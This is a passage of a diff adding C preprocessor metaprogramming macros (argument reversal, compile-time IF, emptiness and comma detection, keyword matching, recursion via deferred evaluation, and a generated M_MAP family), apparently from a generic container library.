+#define M_REVERSE_31(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31) _31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_32(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32) _32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_33(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33) _33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_34(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34) _34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_35(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35) _35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_36(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36) _36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_37(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37) _37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_38(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38) _38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_39(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39) _39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_40(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40) _40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_41(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41) _41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_42(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42) _42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_43(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43) _43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_44(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44) _44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_45(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45) _45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_46(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46) _46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_47(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47) _47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_48(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48) _48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_49(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49) _49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_50(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50) _50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_51(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50,_51) _51,_50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_52(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50,_51,_52) _52,_51,_50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+
+
+/* Convert an integer or a symbol into 0 (if 0) or 1 (if not 0).
+   NOTE: It shall exactly the C-preprocessing token '0'.
+   1 if symbol unknown */
+#define M_TOBOOLI_0                 1, 0,
+#define M_BOOL(x)                   M_RET_ARG2(M_C(M_TOBOOLI_, x), 1, useless)
+
+
+/* M_IF Macro : Perform an IF test at preprocessing time. 
+   The condition is assumed to be true if unknown.
+   USAGE:
+      M_IF(condition)(Block if true, Block if false)
+   Example:
+      M_IF(0)(true_action, false_action) --> false_action
+   NOTE: true_action and false_action can recursively contain M_IF
+   but not 'condition'.
+ */
+#define M_IFI_0(true_c, ...)        __VA_ARGS__
+#define M_IFI_1(true_c, ...)        true_c
+#define M_IF(c)                     M_C(M_IFI_, M_BOOL(c))
+
+
+/* Return 1 if there is a comma inside the VA_ARGS, 0 otherwise.
+   NOTE: this is one of the lowest level check performed
+   (all other high level checks depend on it).
+*/
+#if defined(__clang__) && defined(_MSC_VER)
+// CLANG on windows has a non compliant preprocessor (but not the one for Linux / Mac). Workaround for it (with minor issue)
+#define M_COMMA_P(...)              M_RET_ARG76(__VA_ARGS__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, useless)
+#define M_COMMA_P_WORKAROUND 1
+#else
+#define M_COMMA_P(...)              M_RETI_ARG76(__VA_ARGS__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, useless)
+#endif
+
+
+/* Return 1 if the argument is empty (aka ''), 0 otherwise.
+   This is quite hard to detect properly.
+   Handle: EMPTY_P(), EMPTY_P(x), EMPTY_P(()) and EMPTY_P(,) and EMPTY_P(f) with #define f() 2,3 */
+#define M_EMPTYI_DETECT(...)        ,
+#define M_EMPTYI_P_C1(...)          M_COMMA_P(M_EMPTYI_DETECT __VA_ARGS__ () )
+#define M_EMPTYI_P_C2(...)          M_COMMA_P(M_EMPTYI_DETECT __VA_ARGS__)
+#define M_EMPTYI_P_C3(...)          M_COMMA_P(__VA_ARGS__ () )
+#define M_EMPTY_P(...)              M_AND(M_EMPTYI_P_C1(__VA_ARGS__), M_INV(M_OR3(M_EMPTYI_P_C2(__VA_ARGS__), M_COMMA_P(__VA_ARGS__),M_EMPTYI_P_C3(__VA_ARGS__))))
+
+/* Generate a comma later in the next evaluation pass. */
+#define M_DEFERRED_COMMA            ,
+
+/* M_IF macro for empty arguments:
+    M_IF_EMPTY(arguments)(action if empty, action if not empty) */
+#define M_IF_EMPTY(...)             M_IF(M_EMPTY_P(__VA_ARGS__))
+
+
+/* Concatenate the two preprocessing token.
+ * Handle the case where the second argument is empty, in which case
+ * it returns the first token without concatenation.
+ */
+#define M_C_EMPTY(a, b)             M_CI_EMPTY(a, b)
+#define M_CI_EMPTY(a, b)            M_IF_EMPTY(b)(M_CI_EMPTY_B, M_CI_EMPTY_CAT)(a, b)
+#define M_CI_EMPTY_B(a, b)          a
+#define M_CI_EMPTY_CAT(a, b)        a ## b
+
+#define M_C3_EMPTY(a, b, c)         M_C3I_EMPTY(a, b, c)
+#define M_C3I_EMPTY(a, b, c)        M_CI_EMPTY( M_CI_EMPTY(a, b), c)
+
+#define M_C5_EMPTY(a, b, c, d, e)   M_C5I_EMPTY(a, b, c, d, e)
+#define M_C5I_EMPTY(a, b, c, d, e)  M_CI_EMPTY( M_C3I_EMPTY(a, b, c), M_CI_EMPTY(d, e) )
+
+/* Return 1 if argument is "()" or "(x)"
+ * Test if () or (x) can be transformed into a comma (primary check for parenthesis),
+ * and that there is no (toplevel) comma (remove false positive)
+ * and that there is nothing beyond the parenthesis (remove false positive)
+ * A simple check could only contain M_PARENTHESISI_DETECT1, but there will be false positives.
+ */
+#define M_PARENTHESISI_DETECT1(...)  ,
+#define M_PARENTHESIS_P(...)                                                  \
+  M_AND3(M_COMMA_P(M_PARENTHESISI_DETECT1 __VA_ARGS__),                       \
+         M_INV(M_COMMA_P(__VA_ARGS__)),                                       \
+         M_EMPTY_P(M_EAT __VA_ARGS__))
+
+
+/* Return 1 if argument type or variable or function is the keyword.
+    - refFunc is the reference keyword.
+    It shall be either 'and', 'or', 'sum' (equivalent to 'add'), 'bool'
+    - testedFunc is the tested keyword.
+    It cannot start with a special character */
+#define M_KEYWORD_P(refFunc, testedFunc)                                      \
+  M_COMMA_P(M_C4(M_PATTERN_, refFunc, _, testedFunc))
+
+/* The different special patterns recognized by M_KEYWORD_P
+ * Each recognized keyword shall define a macro like this:
+ *        M_PATTERN_ ## keyword ## _ ## keyword
+ * And this macro shall expands to the comma separator.
+ */
+#define M_PATTERN_and_and ,
+#define M_PATTERN_or_or ,
+#define M_PATTERN_sum_sum ,
+#define M_PATTERN_sum_add ,
+#define M_PATTERN_add_add ,
+#define M_PATTERN_add_sum ,
+#define M_PATTERN_product_product ,
+#define M_PATTERN_product_mul ,
+#define M_PATTERN_bool_bool ,
+#define M_PATTERN_char_char ,
+#define M_PATTERN_short_short ,
+#define M_PATTERN_int_int ,
+#define M_PATTERN_long_long ,
+#define M_PATTERN_float_float ,
+#define M_PATTERN_double_double ,
+#define M_PATTERN_void_void ,
+#define M_PATTERN_type_type ,
+#define M_PATTERN_TYPE_TYPE ,
+#define M_PATTERN_SUBTYPE_SUBTYPE ,
+#define M_PATTERN_SUBTYPE_PTR_SUBTYPE_PTR ,
+#define M_PATTERN_IT_TYPE_IT_TYPE ,
+#define M_PATTERN_KEY_TYPE_KEY_TYPE ,
+#define M_PATTERN_VALUE_TYPE_VALUE_TYPE ,
+#define M_PATTERN_M_UNDERFLOW_M_UNDERFLOW ,
+#define M_PATTERN_M_OVERFLOW_M_OVERFLOW ,
+#define M_PATTERN_M_OVERFLOW_M_OVERFLOW ,
+#define M_PATTERN_SEQUENCE_SEQUENCE ,
+#define M_PATTERN_MAP_MAP ,
+#define M_PATTERN_KEYVAL_KEYVAL ,
+#define M_PATTERN_KEYVAL_PTR_KEYVAL_PTR ,
+#define M_PATTERN_priority_priority ,
+#define M_PATTERN_list_list ,
+#define M_PATTERN_LIST_LIST ,
+#define M_PATTERN_queue_queue ,
+#define M_PATTERN_QUEUE_QUEUE ,
+#define M_PATTERN_INIT_WITH_INIT_WITH ,
+#define M_PATTERN____ ,
+
+
+/* Extract the VA ARGS of a keyword function like.
+   Transform 'LIST( a, b, c)' into 'a, b, c' for keyword=LIST
+   It shall start with KEYWORD (M_KEYWORD_P shall return 1).
+*/
+#define M_KEYWORD_TO_VA_ARGS(keyword, list) M_C4(M_EAT_KEYWORD_, keyword, _, list)
+
+/* The different special patterns recognized by M_KEYWORD_TO_VA_ARGS
+ * Each recognized keyword shall define a macro function like this:
+ *        M_EAT_KEYWORD_ ## keyword ## _ ## keyword (...)
+ * And this macro shall expands to __VA_ARGS__
+ * CONSTRAINT: Theses keywords shall be a sub-list of the keywords supported by M_KEYWORD_P
+ */
+#define M_EAT_KEYWORD_MAP_MAP(...)          __VA_ARGS__
+#define M_EAT_KEYWORD_LIST_LIST(...)        __VA_ARGS__
+#define M_EAT_KEYWORD_SEQ_SEQ(...)          __VA_ARGS__
+#define M_EAT_KEYWORD_QUEUE_QUEUE(...)      __VA_ARGS__
+#define M_EAT_KEYWORD____(...)              __VA_ARGS__
+
+
+/* Necessary macros to handle recursion,
+   delaying the evaluation by one (or more) level of macro expansion.
+   The argument is a macro-function which has to be deferred */
+#define M_DELAY0()
+#define M_DELAY1(...)               __VA_ARGS__ M_DELAY0 ()
+#define M_DELAY2(...)               __VA_ARGS__ M_DELAY1 (M_DELAY0) ()
+#define M_DELAY3(...)               __VA_ARGS__ M_DELAY2 (M_DELAY0) ()
+#define M_DELAY4(...)               __VA_ARGS__ M_DELAY3 (M_DELAY0) ()
+#define M_DELAY5(...)               __VA_ARGS__ M_DELAY4 (M_DELAY0) ()
+#define M_DELAY6(...)               __VA_ARGS__ M_DELAY5 (M_DELAY0) ()
+#define M_DELAY7(...)               __VA_ARGS__ M_DELAY6 (M_DELAY0) ()
+#define M_DELAY8(...)               __VA_ARGS__ M_DELAY7 (M_DELAY0) ()
+#define M_DELAY9(...)               __VA_ARGS__ M_DELAY8 (M_DELAY0) ()
+
+/* Perform 3^5 evaluation,
+   forcing the pre-processor to expand the given macro a lot of times. 
+   NOTE: There can be only one EVAL macro per complete macro-evaluation pass.
+   As such the given macro cannot contain M_EVAL itself,
+   NOTE: Using recursion impacts compilation time performance.
+*/
+#define M_EVAL(...)                 M_EVAL1(M_EVAL1(M_EVAL1(__VA_ARGS__)))
+#define M_EVAL1(...)                M_EVAL2(M_EVAL2(M_EVAL2(__VA_ARGS__)))
+#define M_EVAL2(...)                M_EVAL3(M_EVAL3(M_EVAL3(__VA_ARGS__)))
+#define M_EVAL3(...)                M_EVAL4(M_EVAL4(M_EVAL4(__VA_ARGS__)))
+#define M_EVAL4(...)                M_EVAL0(M_EVAL0(M_EVAL0(__VA_ARGS__)))
+#define M_EVAL0(...)                __VA_ARGS__
+
+
+/* Apply Macro :
+ *  It delays the expansion of the macro function 'a' until the VA_ARGS itself is evaluated.
+ *  It is needed when the evaluation process changes the numbers of arguments.
+ * For example, when merging 2 arglists using "M_OPFLAT M_MERGE_ARGLIST"
+ */
+#define M_APPLY(a, ...)             a (__VA_ARGS__)
+
+
+/* MAP: apply the given macro to all arguments.
+   NOTE: Perform a first step evaluation so that the given VA_ARGS is fully evaluated
+   and expanded before further preprocessing. This helps if the argument given to M_MAP
+   perform a construction of the VA_ARGS as its argument.
+   NOTE: It is a non recursive version that is much faster than the recursive one.
+   Example:
+        M_MAP(f,a, b, c) ==> f(a) f(b) f(c)
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_MAPI_%d(f" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(_%d) " $j ; done ; printf "\n"; done
+*/
+#define M_MAP(...)        M_MAP_0(__VA_ARGS__)
+#define M_MAP_0(f, ...)   M_C(M_MAP_, M_NARGS(__VA_ARGS__))(f, __VA_ARGS__)
+#define M_MAP_1(f, _1) f(_1) 
+#define M_MAP_2(f, _1, _2) f(_1) f(_2) 
+#define M_MAP_3(f, _1, _2, _3) f(_1) f(_2) f(_3) 
+#define M_MAP_4(f, _1, _2, _3, _4) f(_1) f(_2) f(_3) f(_4) 
+#define M_MAP_5(f, _1, _2, _3, _4, _5) f(_1) f(_2) f(_3) f(_4) f(_5) 
+#define M_MAP_6(f, _1, _2, _3, _4, _5, _6) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) 
+#define M_MAP_7(f, _1, _2, _3, _4, _5, _6, _7) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) 
+#define M_MAP_8(f, _1, _2, _3, _4, _5, _6, _7, _8) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) 
+#define M_MAP_9(f, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) 
+#define M_MAP_10(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) 
+#define M_MAP_11(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) 
+#define M_MAP_12(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) 
+#define M_MAP_13(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) 
+#define M_MAP_14(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) 
+#define M_MAP_15(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) 
+#define M_MAP_16(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) 
+#define M_MAP_17(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) 
+#define M_MAP_18(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) 
+#define M_MAP_19(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) 
+#define M_MAP_20(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) 
+#define M_MAP_21(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) 
+#define M_MAP_22(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) 
+#define M_MAP_23(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) 
+#define M_MAP_24(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) 
+#define M_MAP_25(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) 
+#define M_MAP_26(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) 
+#define M_MAP_27(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) 
+#define M_MAP_28(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) 
